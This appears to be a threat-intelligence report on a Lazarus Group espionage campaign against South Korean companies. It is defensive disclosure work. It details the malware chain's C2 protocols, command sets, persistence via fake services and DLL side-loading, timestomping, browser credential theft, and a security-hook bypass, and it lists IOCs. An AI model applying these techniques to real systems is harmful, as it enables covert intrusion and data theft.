Our examination reveals that the earliest evidence of this new operation dates back to July 2025. This suggests the group began preparing for the campaign shortly after ending Operation SyncHole, which lasted at least four months. We identified a minimum of three organizations impacted by the campaign in South Korea’s software, construction, and wired communication equipment manufacturing sectors. These sectors differ from those affected by Operation SyncHole, indicating that the group has expanded its target scope over time.

Background

After more than a year since the first observation of Operation SyncHole, we detected a suspicious execution chain originating from legitimate South Korean software. This chain mirrors the one from the previous operation; however, this time, the attacker abused CrossWeb EX instead of Cross EX, which was abused in Operation SyncHole. Both applications appear to be maintained by the same vendor, and both are related to financial security. CrossWeb EX is a financial security solution that is required to access widely used online banking and government websites. It encrypts communications between the user’s browser and the web server using public key infrastructure (PKI). This is not the first time Lazarus has abused this software. It was also used in 2021 to deploy the Racket downloader and again in 2022 and 2023. Although the exact method by which CrossWeb EX was abused remains unclear, we determined that the attack chain ultimately leads to the execution of the malware in memory.

We noted that the spawned process was running with a high integrity level. The parent process, INISAFECrossWebEXSvc.exe, originates from the installation bundle of INISAFE CrossWeb EX V3 version 3.4.1.2, released in 2023 after KrCERT’s public advisory.

As we already mentioned in our SyncHole blog post, this pattern closely mirrors the long‑standing strategy employed by the Lazarus Group to target South Korea. Since CrossWeb EX and similar software is mandatory for South Korean users and typically runs in the background to interact with the browser, it has been leveraged as a critical attack vector by the group. In 2025, a paper was presented at the USENIX Security Symposium that investigated vulnerabilities in South Korea’s mandatory security software and demonstrated how such software can unintentionally create a massive attack surface.

In July 2026, the South Korean government and several local security vendors also published a joint security advisory covering typical Lazarus attack techniques, including exploitation of financial security software. While this advisory overlaps with our findings from Operation FlashHole and Operation SyncHole, and AhnLab’s detailed analysis report Operation Double Barrel covers a wide range of recent Lazarus Group activities, we are conducting a more granular classification based on their TTPs. We will discuss this further in the attribution section.

Initial infection vector

Although we could not precisely determine what triggered the infection chain, our analysis uncovered a suspicious website hosted on GitHub Pages that is associated with the GitHub account used as the C2 channel. The GitHub account was created last September, and the initial version of the site was designed to showcase the résumé of a senior network appliance developer. In January, however, this site was replaced with another featuring an interior design showcase. The first site was likely accessed by an employee of a wired communication manufacturing company, while the second site likely affected a target in the construction sector.

Appearance of the malicious websites

Appearance of the malicious websites

The first site with the résumé had a photograph supposedly of a job seeker, but the lack of EXIF metadata and the unnatural texture of the image indicate that it was generated by AI. This suggests the Lazarus Group has incorporated AI into its long‑standing strategy, like other Korean‑speaking threat actors (1, 2). The group most likely also used AI to create the lure site: the job seeker’s name resembles the Korean version of “John Doe,” and the portfolio was populated with seemingly meaningless details and random companies. The generated site was then manually tailored to specific targets.

Suspected use of an AI-generated image on the résumé site

Suspected use of an AI-generated image on the résumé site

The websites contained embedded links that loaded an external JavaScript file via a script tag.

  • Malicious link embedded in the résumé site: hxxps://javadevhouse.co[.]kr/ajax/libs/jquery/1.7.3/jquery.min.js
  • Malicious link embedded in interior design site: hxxps://pythonapischool[.]com/api/detach

Based on the analysis, we assess with medium-to-high confidence that the targets received phishing emails containing links to the malicious site hosted on GitHub Pages (using the domain <username>.github.io). The research results showed a high possibility that visiting the malicious site initiated an infection process involving CrossWeb EX software. This assessment aligns with Lazarus’s recent approach, as detailed in the joint advisory published by the South Korean government and security companies.

Full infection chain

Following the initial compromise, the legitimate Windows binary fsquirt.exe was executed under the CrossWeb EX process and injected with shellcode containing a malicious DLL – TechHub malware. From our extensive and thorough examination, we identified several malicious payloads and reconstructed the complete infection chain. The infection chain is rather complex and reveals the Lazarus Group’s advanced operational techniques on targeted hosts. These techniques conceal their malicious payloads, intent and their sophisticated malware delivery framework. The latter was updated extensively compared to the previous campaign, despite the new operation starting less than a year later. Significantly, the execution chain below exists only in memory during the initial infiltration, highlighting the attackers’ considerable efforts to hide the initial compromise.

Initial infection chain

Initial infection chain

Following the initial compromise, the group sought to maintain persistence on the network by installing a pair of malware strains – TouchHub and TouchShift – leveraging DLL side‑loading under the name mscoree.dll. TouchHub was deployed by the first instance of TechHub. It then used DLL side-loading to launch TouchShift, which led to the in‑memory execution of another TechHub instance. After launching the second time, TechHub deployed another pair, ClientHub and LPEClient, rather than executing Cubridge directly. Only minimal traces of these files were found on disk; the remainder of the malicious code persisted exclusively in memory.

Expanded infection chain after gaining persistence

Expanded infection chain after gaining persistence

Since Cubridge remains only in memory at the initial compromise stage, we suspect the group designed this indirect, multistage chain to deliberately redeploy Cubridge after gaining persistence, as it serves as the most sophisticated orchestrator of the attack.

Malware set

The full chain comprises advanced variants of the known Lazarus malware strains, including TechHub, Cubridge, TouchShift, LPEClient, and the newly identified TouchHub and ClientHub.

TechHub – the start of the chain

TechHub, a downloader that plays a central role in this attack, communicates with GitHub using a Personal Access Token (PAT). It serves as the initial payload, providing the top of the chain with sufficient functionality to profile compromised hosts and facilitate subsequent payloads.

This variant is a more advanced version of the malware named CLOUDBURST by Mandiant and NickelLoader by ESET. According to their reports, the earlier version communicated with a C2 server via HTTP(S) to fetch additional payloads. The latest iteration we found, however, communicates with GitHub instead and has updated command strings.

We identified three variants of TechHub in the chain: an in‑memory version, a simple DLL side‑loading version, and a DLL side‑loading version that uses a registered Windows service. Depending on which stage loads the malware, it contacts a private GitHub repository via the GitHub API using either hard‑coded credentials or credentials retrieved from its configuration file.

When TechHub loads, it creates a 4‑byte hexadecimal identifier (ID) in the range 0x1000–0xFFFF or reads one from the configuration file, enabling the attackers to distinguish between compromised hosts. TechHub then checks a GitHub issue by sending the request GET /issues?state=[open/closed] to determine whether any previous communication remains active and removes any traces of it if found. It then proceeds with the handshaking process.

  1. It creates a new issue titled 1[ID] with the body “hel” using the POST /issues request, and sets its status to open.
  2. It then retrieves a file from the repository containing the 2[ID] value in its name. This file contains the RSA public key.
  3. It generates a random 16‑byte XOR key, encrypts it with the provided RSA public key, and uploads the result, prefixed with 1[ID], to the repository.
  4. The hard‑coded IV is XORed with the generated 16‑byte key and then used after the handshake.

During file exchange, filenames follow the pattern [1|2][ID][random-16-byte-key] throughout communication. The “2” prefix indicates delivery from the repository to TechHub, while “1” indicates delivery from TechHub to the repository. The random 16‑byte key in the filename is used for AES encryption or decryption of each file’s contents, employing either a hard‑coded IV or an updated IV.

After the key exchange is complete, TechHub reads a file with the prefix “2” once again and verifies that the delivered data equals “hel”. If the check passes, TechHub gathers extensive information from the infected host. This data is then encrypted and sent to the repository. After transmitting the device information, the process concludes by updating the body of the previously created issue from “hel” to “hey” using PATCH /issues/[issue number]. The malware is now fully prepared to receive commands from the repository.

TechHub supports four commands. The laeca command deploys a payload packaged in shellcode that reflectively loads the embedded payload directly into memory.

Command Description
mqdrz Collect information about the device and its running processes
laeca Directly invoke the received shellcode in memory
aqvxp Terminate the current process
rtcya Beaconing after finishing the handshake process

Cubridge – the framework orchestrator

Cubridge, deployed via TechHub on the compromised host, is capable of retrieving various payloads through multiple methods. It serves as the central orchestrator of the entire malware framework, supporting a range of plugins, modules, and tools. An earlier version of Cubridge was also disclosed in the reports covering the previous version of TechHub. In those reports, Mandiant identified it as SIDESHOW, and ESET identified one of its modules as LightlessCan.

To establish communication with the C2 server, Cubridge randomly selects one of the predefined C2 servers and constructs a dedicated C2 URL for every request, using the pattern [C2_URL]/[page1]/[page2]/[page3]. This is achieved by concatenating terms from predefined word lists. Our analysis identified a single hardcoded C2 server – hxxps://cubedesign[.]co[.]kr/news/AABBCC – associated with the examined instance that is configured to version 5.1. During URL generation, AABBCC is substituted with a null value. The page3 segment is assigned a randomly generated integer between 10000000 and 99999999. Consequently, each generated URL is designed to appear authentic and remain unique for each request.

The predefined list for page1 is shown below. TechHub randomly selects one item from the list.

economy, opinion, politics, national, international, medical, investment, sports, lifestyle, shopping, culture

The predefined word list for page2 is shown below.

article, list, story

This means the hardcoded URL can later be transformed, for example, into hxxps://cubedesign[.]co[.]kr/news/economy/article/12345678 by following the steps described above.

Authentication using the POST request with the C2 server requires three parameters in the form of key‑value pairs. Each key is randomly generated using a different predefined word dictionary, and the associated values consist of a randomly generated 8‑byte hexadecimal bot ID, a fixed authentication token (KW4Ofw982CNJjxd51AVqkGAop), and a randomly generated 16‑byte hexadecimal session ID.

Cubridge employs a more robust handshaking process than TechHub, combining the RSA and RC6 algorithms. Unlike TechHub, it skips the profiling step and proceeds directly to command and control after the handshake. During communication, the malware mimics browser requests, using X‑CSRF‑Token and X‑Requested‑With headers for authentication and the Upgrade‑Insecure‑Requests header to request additional data.

Cubridge's communication sequence

Cubridge’s communication sequence

Cubridge contains extensive functionality, with a particular focus on loading subsequent‑stage payloads. The commands employ various techniques, such as DLL injection, reflective loading, and section‑mapping injection. The payloads may be delivered in various forms:

  • Plugins – reusable extensions that add functionality as needed and can be invoked at any time (in shellcode and DLL form);
  • Tools (in DLL form) – independent utilities that perform one-off tasks;
  • Modules – components that are loaded once and remain active providing an extended set of functionalities.

It is anticipated that the commands for plugins and shellcode will load identical types of plugins because both support a similarly formed exported function for subsequent activity. The shellcode can be generated using the open‑source sRDI tool to package a DLL‑style plugin. The capabilities of a single DLL are likely utilized to load a tool that works independently because when a single DLL is loaded, only its DllMain entry point and its parameters are accessible; no other exported functions are exposed.

Command Payload type Description
0 – Collect device info including the computer name, time zone, PID, and other similar details
1 Archive the specified file/directory using the legacy ZipCrypto algorithm and the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
2 Create a file at the specified path
3 Possibly plugin Inject the provided DLL payload into the target process and load it reflectively using reflective DLL injection
4 Plugin Reflectively load a plugin in DLL format
5 Retrieve the address of the specified exported function from the target plugin and run it with the provided parameters
6 Retrieve all information about the loaded plugins
7 Unload the specified plugin
8 Shellcode Inject the provided shellcode into the target process and load it using section mapping injection
9 Load the provided shellcode directly into memory
10 Retrieve the address of the specified export function from the target shellcode (likely a plugin in shellcode form) and run it with the provided parameter
11 Retrieve all information about the loaded shellcode
12 Unload the specified shellcode
13 – Set the scheduled Cubridge execution time (in minutes) by updating a global variable
14 Set the scheduled Cubridge execution time (in minutes) by updating a global variable, while disabling monitoring by also updating another global variable
15 Terminate in a controlled manner
16 Get the configuration for Cubridge: retrieve the global flags, the number of C2 servers, the C2 addresses, etc.
17 Update the global flags, the number of C2 servers, the C2 addresses, etc.
18 Tool Load a DLL reflectively with the specified parameter
19 Configure the parameters for loading a single DLL
20 Unload the single DLL
21 Module Load the “action module” (ActionModule.dll) reflectively and invoke its AppinfoView export function
22 Load the “function module” (FunctionModule.dll) reflectively and invoke its PresentationFontConfig export function

Commands 21 and 22 each load a different module. As their internal names imply, the action module manages basic file and process operations, while the function module implements Windows’ default commands. The action module covers commands 23–41, and the function module handles commands 42–79.

The action module handles system operation commands, file system interactions, and process behavior. It is invoked by passing the appropriate command and parameters to its AppinfoView export function. The module supports 19 commands, numbered 23 through 41. Execution results are first sent to Cubridge, which then forwards them to the C2 server.

Command Role
23 Get local disk space for each drive
24 Get information about the specified file or directory
25 Execute the provided command
26 Get information about the specified file or directory (similar to command 24)
27 Execute the provided command under the target process (PPID spoofing)
28 Execute the provided command under the target process within the provided session (PPID spoofing + session impersonation)
29 Get detailed information about processes
30 Terminate the provided process
31 Suspend all threads belonging to the specified process
32 Resume all threads belonging to the specified process
33 Permanently delete the file by overwriting its entire contents with the sequence: 0 → 1 → random bytes → 1 → 0
34 Rename the provided file to :EFS (the alternate data stream area) and delete it using the native API SetFileInformationByHandle
35 Set the current working directory
36 Copy the specified file to the provided path
37 Delete the specified directory
38 Move the specified file to the provided path
39 Create the provided directory
40 Initiate a non‑blocking connection attempt to the specified IP address and port (possibly for port scanning)
41 Read the specified file

The function module implements commands that emulate Windows’ built-in commands. Similar to the action module, its DllMain routine initializes all supported command functions, which are later accessed through the PresentationFontConfig export. Altogether, the module offers 38 commands, numbered from 42 to 79. While we believe this module is based on the previous LightlessCan, this is the first time we’ve seen it in the form of a separate module.

Command Role
42 Capture all displays and archive them using the legacy ZipCrypto algorithm with the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
43 Synchronize the MAC (Modified, Accessed, and Created) times of the file provided in the second argument to match those of the file provided as the first argument
44 Get information about the specified directory
45 Get information about the specified drive
46 Inject the provided DLL payload into the target process
47 Unload the specified DLL from the specified process
48 Implementation of the ipconfig command
49 Implementation of the net command
50 Implementation of the netsh advfirewall firewall command
51 Implementation of the netstat command
52 Implementation of the ping -6 command
53 Implementation of the reg command
54 Implementation of the sc command
55 Implementation of the ping command
56 Implementation of the whoami command
57 Implementation of the nslookup command
58 Implementation of the schtasks command
59 Implementation of the systeminfo command
60 Implementation of the arp command
61 Call the CryptUnprotectData function to retrieve the AES key that DPAPI protects. Extract the key using the encrypted_key keyword from Chromium’s Local State file located at: %LOCALAPPDATA%\Google\Chrome\User Data\Local State
62 Not implemented
63 Not implemented
64 Read the specified file and decrypt it using an XOR operation with the key 0x59. Then extract the paths from the decrypted buffer and archive files and directories at these paths with the legacy ZipCrypto algorithm, using the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
65 ~ 79 Not implemented

Besides the modules, we also observed that the actor deployed various plugins and tools.

Type of payload Name Description
Plugin ADFinder (AdFinder.dll) Launches LDAP queries in an Active Directory environment, taking six arguments such as log file path, ADsPath, search filter, and attribute names
Plugin FileCollector (Dll.dll) Recursively scans every subdirectory and file in the provided directory, gathering detailed information about each
Tool Browser stealer Can be injected into Chromium-based browsers, such as Google Chrome, Microsoft Edge, and Brave. Once injected, it extracts files and credentials from the victim’s browsers, including stored passwords, bookmarks, history, preferences, and cookies
Tool Process collector Iterates over all running processes, collecting each process’s ID, path, and command line

TouchHub installs a service for TouchShift

During our analysis, we obtained a previously unknown malware sample from TechHub’s private GitHub repository, which served as a parent installer for TouchShift. We dubbed this malware TouchHub. Upon execution, it copies the legitimate printfilterpipelinesvc.exe to C:\Windows\System32\RasConv\ImeBroker.exe, registers it as a service, and places an embedded TouchShift payload named mscoree.dll in the same directory. Following creation, the malware synchronizes the MAC timestamps of C:\Windows\System32\drivers\monitor.sys with those of the newly written file, hindering forensic analysis.

It then goes through the service registration process by collecting up to 100 legitimate service names that are registered under the netsvcs svchost group in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost. It randomly selects one of these names, appends two random alphabetic characters to form a new service name, and uses this name to create a service that runs the hard‑coded command line C:\Windows\System32\RasConv\ImeBroker.exe -TimeBroker with the description Microsoft Service. The newly created service is started immediately.
Overall, TouchHub creates three files in the designated directory to launch TouchShift with SYSTEM privileges.

Path Type Description
C:\Windows\System32\RasConv\ImeBroker.exe Executable file registered as a service Copied from C:\Windows\System32\printfilterpipelinesvc.exe
C:\Windows\System32\RasConv\mscoree.dll Side-loaded TouchShift payload Dropped by TouchHub. It contains encrypted payloads and includes portions of a legitimate DLL’s contents, which significantly inflates its size
C:\Windows\System32\RasConv\ActivationStore.dat TechHub’s configuration file Dropped by TouchHub after extracting configuration values

TouchShift, a prevalent loader employed across multiple infection chains

The version of TouchShift dropped by TouchHub is almost identical to the version described in Mandiant’s blog post, even sharing the same malicious export function, LockClrVersion. It takes the argument supplied by TouchHub and XORs it with a hard‑coded key. The resulting value is XORed once more with the executable’s filename, and this result is used as the AES key. All strings involved in this process (the argument, the XOR key, the filename) must be exactly 16 bytes long. If a string is shorter, it is padded with NULL bytes (\x00); if it is longer, it is truncated to 16 characters. For example, one of the string combinations in the obtained sample was:

  • Argument: -TimeBroker\x00\x00\x00\x00\x00 (padded with NULL)
  • Hard-coded XOR key: x809G736iC3f8Wp8
  • Executable filename: ImeBroker.exe\x00\x00\x00 (padded with NULL)

After deriving the key, the malware decrypts the embedded payload using AES‑CBC‑128 without padding. The decrypted data is shellcode that starts with a call instruction. It wraps the next‑stage payload – identified as the third version of TechHub (DLL side-loading with a registered service) – that reads the ActivationStore.dat file as an external configuration.

ClientHub

We also identified a new piece of malware stored in TechHub’s private repository, which we named ClientHub. It supports various commands formed using a bitmask. There are at least two versions of ClientHub: one that communicates with websites via HTTP(S) and one that interacts with the Dropbox API using credentials.

Depending on the version, its configuration is sourced from internal resources or the external configuration file C:\Program Files\Common Files\System\msadc\msadc.inc. The configuration comprises keys and IVs for the SNOW 1.0 algorithm, scheduled execution times, and C2 server addresses encrypted with the SNOW stream cipher. The SNOW cipher is a family of high‑speed stream ciphers used for secure data encryption in telecommunications and wireless networks. This is the first time it has been observed in the malware of the Lazarus Group.

To establish C2 communication, the malware initially generates a 32‑byte random array. It subsequently overwrites portions of this array with data collected from the compromised device. The resulting 32‑byte array comprises a blend of random bytes and relevant information. This array is later used as the key for the SNOW algorithm to decrypt data received from the C2 server. Finally, the key array is encrypted with a hard‑coded RSA public key and encoded in Base64.

Offset Size Field value
0 4 Current process ID
4 4 First four bytes of the decrypted C2 server information.
8 7 Randomly generated bytes
15 1 Calculated flag value that indicates a state machine.
16 8 Current system time, represented as a FILETIME structure.
24 8 Randomly generated bytes

The ciphertext is delivered to the C2 server via GET requests. Each request contains headers that are atypical for malware: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Mobile, Sec-Fetch-Mode, and Sec-Fetch-Dest. These headers are normally used by legitimate Chromium‑based browsers and enable malware to imitate legitimate traffic and evade detection. The C2 server replies with commands in a custom header and message body.

struct header
{
  int has_more_data // whether more body data remains 
  int body_checksum;// ROR13 checksum for the body data
  int body_type;    // specifies the body type
  int unknown;
  int body_length;  // Length of the body data
  int IV[2];        // Random IV used to encrypt the body data
};

The body_type field in the header determines how the subsequent payload is processed. This value functions as a bitmask, with each bit representing a distinct flag (e.g., 0x1, 0x2, 0x4, etc.). The resulting behavior also depends on whether the least‑significant bit (bit 0) is set: when the value is odd, the malware interprets the incoming message body as an additional payload that is subsequently loaded into memory. Conversely, when the value is even, the malware invokes the previously loaded payload.

The odd value supports four distinct loading methods based on the received message body and ensures that each method executes only once.

Bitmask Value in decimal Description Result sent to the C2
0x00000001 1 DLL loading: load the received body reflectively along with the provided parameter The payload’s image base
0x00000011 3 Plugin: load the received body reflectively, obtain the address of a function in the payload, and then invoke that function along with the provided parameter The payload’s image base, the address of the invoked function, and the execution result
0x00000101 5 Plugin: load the received body reflectively, obtain the address of a function in the payload, but refrain from invoking it immediately The payload’s image base, the address of the function
0x00001011 11 Plugin: execute the behavior associated with value 3, then unload immediately after invoking the plugin –
0x00010001 17 DLL loading: load the received body reflectively with the provided parameter, maintaining stateful communication via a persistent interactive session using a shared buffer The payload’s image base, the address of the interactive shared buffer, and the execution result

The even value provides two distinct invocation methods for DLLs and plugins that have already been loaded and are associated with the odd‑value bitmask. The 2 (0x10) flag allows the payload previously loaded with the 1, 3, or 5 bitmask to be reused and invoked directly. The value 16 (0x10000) corresponds to the 17 (0x10001) flag in loading mode and uses the established interactive shared buffer to exchange data. All values are guaranteed to act independently.

Bitmask Value in decimal Description Result sent to the C2
0x00000010 2 Invoke the previously loaded DLLs and plugins along with the provided parameter The execution result
0x00000100 4 Not implemented –
0x00001000 8 Unload the previously loaded DLLs and plugins The execution result
0x00010000 16 Send the updated parameter to the payload loaded by the command with the value 17, and exchange data through the interactive session. This command also determines whether to retrieve the execution result or unload the payload The execution result

Taking into account the loading mechanism, we identified four plugins deployed to the target that work perfectly with ClientHub.

Plugin Description
File archiver Archives the provided file using the legacy ZipCrypto algorithm (without password protection) and returns the compressed data
File collector Searches for all files matching the provided search pattern and collects metadata including filename, MAC timestamps, file size, and attribute values
File cleaner Overwrites the provided file with NULL bytes, renames it to a randomly generated filename of the same length, and then deletes it. If a directory with a search pattern is provided, it locates all matching files, renames each to a randomly generated name of identical length to its original name, and deletes them
Drive and session monitor Monitors remote session changes and local drive changes for the provided duration (in 10-minute intervals) and returns the collected status information

In addition to the plugins, ClientHub supports the loading of LPEClient malware and communication with it. We found that ClientHub’s body_type values 16 and 17 correspond to LPEClient’s C2 communication mechanism.

LPEClient

LPEClient is the only malware that was also observed in Operation SyncHole, indicating that the actor relies heavily on it for sophisticated victim profiling and payload delivery across multiple operations. LPEClient first appeared in 2019, and was discovered in 2020. Since then, the tool has been widely observed in the Dream Job and Cascade Hole campaigns that targeted South Korea. Recent research conducted by Check Point revealed that LPEClient was used to deploy the FudModule malware using a zero-day.

LPEClient has evolved continuously over time, but we discovered that it recently underwent a major operational revamp. It no longer contains the C2 server address itself; instead, it interacts with ClientHub via a shared buffer. We believe this change is intended to enhance concealment.

Timeline of LPEClient

Timeline of LPEClient

The previous version collected the computer name, memory status, CPU specifications, operating system details, version of the ntoskrnl.exe file, firmware table, antivirus name, domain name, user name, the integrity level of the current process, and a random byte sequence of 1,568 bytes. The newly updated LPEClient variant mostly collects the same information; however, it also introduces several changes.

  • It does not collect the version of the ntoskrnl.exe file by querying the FileVersion value. Instead, depending on the specific build, it reads either the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR registry key or the SYSTEM_BUILD_VERSION_INFORMATION structure to retrieve the revision portion of the Windows build number. These values can be used to infer the system’s cumulative update or patch level.
  • To collect information about installed antivirus products, it switched from querying a WQL command to reading the WMI repository file directly. It now reads C:\Windows\System32\wbem\Repository\OBJECTS.DATA and searches for keywords such as AntiVirusProduct, companyName, and displayName to identify the installed products.
  • It also collects low‑level Windows security mitigation states. To achieve this, it queries the SYSTEM_KERNEL_VA_SHADOW_INFORMATION structure for the Kernel VA Shadow mitigation status and the SYSTEM_SHADOW_STACK_INFORMATION structure for the Shadow Stack (CET) protection status.

Additionally, it generates a 32‑byte random unique identifier by using the HighwayHash algorithm and an XOR operation with the current system time. The collected information, including the generated identifier, is compressed with the XPRESS Huffman algorithm using the maximum compression setting. The compressed data is then concatenated with the message ID 0xF07D6B34 and encrypted using GOST (also known as Magma), Russia’s national cryptographic standard that employs a DES‑like structure, before being sent to the ClientHub via a shared buffer. Initially, KrCERT described the algorithm as a custom DES‑like scheme. However, further analysis by us and Check Point confirmed that it is actually the GOST algorithm. The key is randomly generated by a proprietary key‑generation algorithm and prepended to the encrypted message.

The next request handles the key exchange by delivering the message ID 0xA39CF278 together with the generated unique identifier. The response is decrypted using the AES‑CBC‑256 algorithm. The SHA‑256 hash of the previously generated 1,568‑byte random value, which was originally sent to the C2 server during the collection phase, serves as the key for this decryption.

Through this process, LPEClient obtains a byte array comprising four 1,568‑byte blocks from the C2 response. Each block contains an ML‑KEM‑1024 public key, where ML‑KEM is a NIST‑standardized post‑quantum key encapsulation mechanism derived from CRYSTALS‑Kyber. LPEClient then generates four distinct pairs of shared keys and ciphertexts from these blocks, encrypts the ciphertexts with the GOST algorithm, and transmits them to the C2 server via ClientHub together with the message identifier 0xEF8C0D51 and the associated identifier. Now that the preparation phase for receiving payloads is complete, the malware is ready to receive payloads forwarded by ClientHub from the C2 server, along with the necessary parameters. The use of post-quantum cryptography shows that the group intends to hide subsequent payloads.

The response to the 0xEF8C0D51 message is decrypted with the Threefish algorithm using a 128-byte key, composed of the four distinct shared keys. Threefish is a tweakable block cipher that accepts a ‘tweak’ value alongside the key and the message. The concept of a tweak is similar to that of a nonce or initialization vector, which are used in different types of ciphers. In LPEClient communication, the tweak for the decryption is derived by XORing the unique identifier with 165 (0xA5). The first four bytes of the decrypted message must specify the parameter’s length, followed by the parameter itself and then the payload. The payload must be larger than 4 KB and start with the characters 'MZ', which indicates that the decrypted payload is an executable file. The payload is then reflectively loaded into memory. After successful loading, LPEClient sends the message ID 0xCB790A25 to the C2 server.

Before loading the acquired payload, LPEClient takes measures to bypass security products. Instead of invoking VirtualProtect directly, the malware uses the identified HeapPageAllocator::ProtectPages in jscript9.dll to modify the memory page protection of the MD4Update function. The beginning of the function is then overwritten with a hard‑coded opcode sequence that serves as a syscall stub with the required arguments. LPEClient then uses the syscall stub to disable a user‑mode syscall instrumentation hook.

We identified the final payload that was ultimately loaded as Cubridge. The overall communication process is as follows.

Data relay flow between LPEClient and C2 via ClientHub

Data relay flow between LPEClient and C2 via ClientHub

Comparison of plugins and modules

Throughout the engagement, we identified a variety of payloads deployed by TechHub, Cubridge, and ClientHub. These payloads have been categorized as tools, plugins, and modules that constitute the group’s modular malware framework. While we have not yet ascertained which payloads are deployed under specific conditions, the evidence suggests that the Lazarus Group’s toolkit is becoming increasingly sophisticated and segmented into specialized components rather than a single comprehensive backdoor. We also believe that TechHub and Cubridge may share similar tools.

Deployed via Type of payload Family
TechHub/Cubridge Tool Process collector,
Browser stealer
Cubridge Module Action module, Function module
Cubridge Plugin ADFinder, FileCollector
ClientHub Plugin File archiver, File collector, File cleaner, Drive/session monitor

These modularizations are not confined to the instances within this campaign. As previously noted, similar patterns have been identified in CookiePlus, MISTPEN, SIGNBT, and IMETHOD. Note that we have reclassified the ThreatNeedle variant used in Operation SyncHole as the latest version of IMETHOD, the predecessor of ThreatNeedle in use since at least 2016.

Infrastructure

Based on the information we obtained from the TechHub malware, we identified at least three primary repositories used as the C2 server and one fallback repository. The earliest evidence indicates that the group has been leveraging GitHub as a C2 server since at least July 2025. We suspect that all the accounts were created using hijacked email accounts, and disguised as normal repositories by copying or creating normal projects to avoid suspicion.

For the Cubridge and ClientHub C2 servers, the Lazarus Group employed only a minimal number of compromised yet legitimate South Korean media and interior design websites. Later, we observed that a broader range of compromised legitimate sites across various industries were also exploited. In addition, one ClientHub sample that we detected used Dropbox as a C2 channel.

Victims

We have identified at least three firms from the software, construction, and wired communication equipment industries in South Korea that were targeted by Operation FlashHole. As with the previous operation, however, we remain confident that a considerably larger number of organizations across a broader spectrum of industries have been affected.

The software sector was the only sector targeted in both the SyncHole and FlashHole campaigns. This suggests the actor is eager to compromise the sector, steal source code, and exploit vulnerabilities for further attacks.

Attribution and links to other campaigns

Operation FlashHole is the latest wave in the broader Cascade Hole campaign, which involves the use of South Korean software as a potential entry point to deliver malware targeting the country. Although the malware chain has advanced significantly since last year, we assess with medium-to-high confidence that the same actor is responsible for both the SyncHole and FlashHole operations based on the initial vector, targets, multi‑stage chain, and technical and operational improvements. The use of LPEClient in particular is a strong indicator supporting this assessment.

The malware strains used in the attack are historically linked to the toolsets observed in the Lazarus Group’s notorious Dream Job campaign. Earlier versions of TechHub (also known as CLOUDBURST and NickelLoader), Cubridge (also known as SIDESHOW and LightlessCan), and TouchShift were all observed in that campaign, especially between 2022 and 2023.

We also discovered that both CookiePlus and ClientHub have significant overlaps in class name, configuration path, and plugins. Based on these similarities, we assess with medium‑high confidence that ClientHub is an advanced version of CookiePlus.

Since July, around the time Operation SyncHole began winding down, we have also observed several notable attacks against South Korea employing the COPPERHEDGE backdoor and targeting various South Korean organizations. Interestingly, the start times of these activities align with the earliest evidence we have identified for Operation FlashHole. Although the backdoor was part of the second phase of Operation SyncHole, it has been operating independently with its custom loader since then. These incidents featured malware chains and tools that were distinct from those used in Operation SyncHole and FlashHole.

As AhnLab noted in their report, the same backdoor was likely observed in atypical activity, specifically the Gunra ransomware infection. Our investigation further revealed that one instance of a backdoor infection ultimately resulted in the exfiltration of data to a dark web leak site, which clearly differed from Gunra’s. The site appears to have been crafted exclusively for this activity. In summary, unlike other attacks, the backdoor was used in conjunction with both ransomware and data exfiltration.

Data leakage site linked to the COPPERHEDGE backdoor on the dark web

Data leakage site linked to the COPPERHEDGE backdoor on the dark web

Another noteworthy point is that the recent Dream Job campaign employs an updated malware chain that, since around 2024, has primarily involved MISTPEN and ForestTiger rather than the earlier arsenal that included tools such as TechHub and Cubridge. However, the updated versions of this older malware have now re-emerged as part of Operation FlashHole. Considering these changes and all aspects of each attack’s TTPs, we have organized a classification for each attack.

Overlaps between the recent attacks by Lazarus Group

Overlaps between the recent attacks by Lazarus Group

Conclusion

Our analysis shows that the Lazarus Group begins preparing for its next operation shortly after completing the previous one, ultimately deploying an enhanced malware chain by refining existing tools. The group continues to use the advanced version of LPEClient for profiling and payload delivery, indicating that the tool is meticulously managed and well maintained. Ironically, the group seems to have adopted more secure post-quantum cryptography faster than many legitimate security products. These observations suggest the involvement of a dedicated developer, with others orchestrating comprehensive attack scenarios against newly targeted software.

We anticipated that specialized attacks targeting South Korea would persist. However, we did not foresee multiple attack campaigns being executed simultaneously, each leveraging different types of software and tools. Notably, the COPPERHEDGE cluster appears to be involved in monetizing the attacks, while Operation FlashHole is focused on espionage. We are closely monitoring these changes to understand their motivations and ultimate goals.
In October 2025, the South Korean government unveiled a comprehensive cybersecurity plan that will phase out the mandatory installation of security software for users beginning in 2026. We estimate that operations exploiting this software will remain highly active for some time, maximizing efficiency, before the software is fully eliminated or mitigated.

Kaspersky products detect the exploits and malware used in this attack with the following verdicts: MEM:Trojan.Win64.Shellcode.gen, Trojan.Win64.DLLhijack.*, Trojan.Win64.Lazarus.*.

Indicators of compromise

File hashes

TouchShift
ec84d6cb2ae7974767aedac246b50a3e             mscoree.dll
a28cba214058fcae2883d8cffc883abd                mscoree.dll
c105d6b16f544582772de0159f24c00a               mscoree.dll
2f8475a90a25624ed02f1d18d4e6d65d              mscoree.dll
676fabe30a28b53925fba98e34b35986              mscoree.dll
b4a7eff35f048f06fb0a2d7631f23a7d                  mscoree.dll

ClientHub Loader
ff07641dc56914dd90ee0bd7404d7ad7               liblzma.dll

File paths

C:\ProgramData\Package.txt
C:\ProgramData\RasConv\mscoree.dll
C:\ProgramData\Apple\mscoree.dll
C:\ProgramData\ssh\mscoree.dll
C:\ProgramData\qorestor\mscoree.dll
C:\ProgramData\Dell\mscoree.dll
C:\ProgramData\Dell\Dell1.tmp
C:\ProgramData\Dell\Dell3.tmp
C:\Windows\System32\RasConv\mscoree.dll
C:\Windows\System32\RasConv\ActivationStore.dat
C:\Windows\System32\DrvConh\mscoree.dll
C:\Windows\System32\DrvConh\ActivationStore.dat
C:\Program Files\Common Files\System\msadc\msadc.inc
C:\ProgramData\desktops.ini

C2 servers

javadevhouse.co[.]kr
pythonapischool[.]com
hxxps://cubedesign[.]co[.]kr/news            C2 of Cubridge
